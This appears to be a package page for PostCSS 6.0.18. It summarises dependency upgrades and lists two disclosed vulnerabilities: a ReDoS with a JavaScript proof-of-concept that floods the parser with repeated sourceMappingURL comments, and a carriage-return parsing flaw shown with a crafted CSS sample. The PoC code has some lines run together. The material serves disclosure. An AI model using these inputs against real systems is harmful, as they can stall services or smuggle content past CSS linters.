PostCSS version 6.0.18 introduces notable updates for developers utilizing this powerful tool for transforming styles with JavaScript plugins. Released on February 15, 2018, it builds upon the foundation laid by version 6.0.17, which came out on February 1, 2018. While both versions share the same core functionality and MIT license, the key differences lie in their dependencies. Version 6.0.18 upgrades the chalk dependency to version 2.3.1, enhancing the styling capabilities for console output, and it elevates supports-color to version 5.2.0, ensuring more accurate color support detection across various terminals. In contrast, version 6.0.17 relies on older versions: chalk@2.3.0 and supports-color@5.1.0.
For developers, these dependency updates translate to a potentially smoother and more consistent experience, particularly when dealing with terminal-based tooling and color output. The newer supports-color can be especially relevant in environments with varying terminal configurations, providing improved color detection and preventing unexpected display issues. The change in chalk may bring small console output changes, making CLI more beatiful. This incremental upgrade exemplifies PostCSS's commitment to staying current with its underlying libraries, offering developers access to the latest improvements and bug fixes within the broader JavaScript ecosystem. Developers should evaluate if these dependency upgrades offer any new features or resolve previous issues in their specific development workflows.
All the vulnerabilities related to the version 6.0.18 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.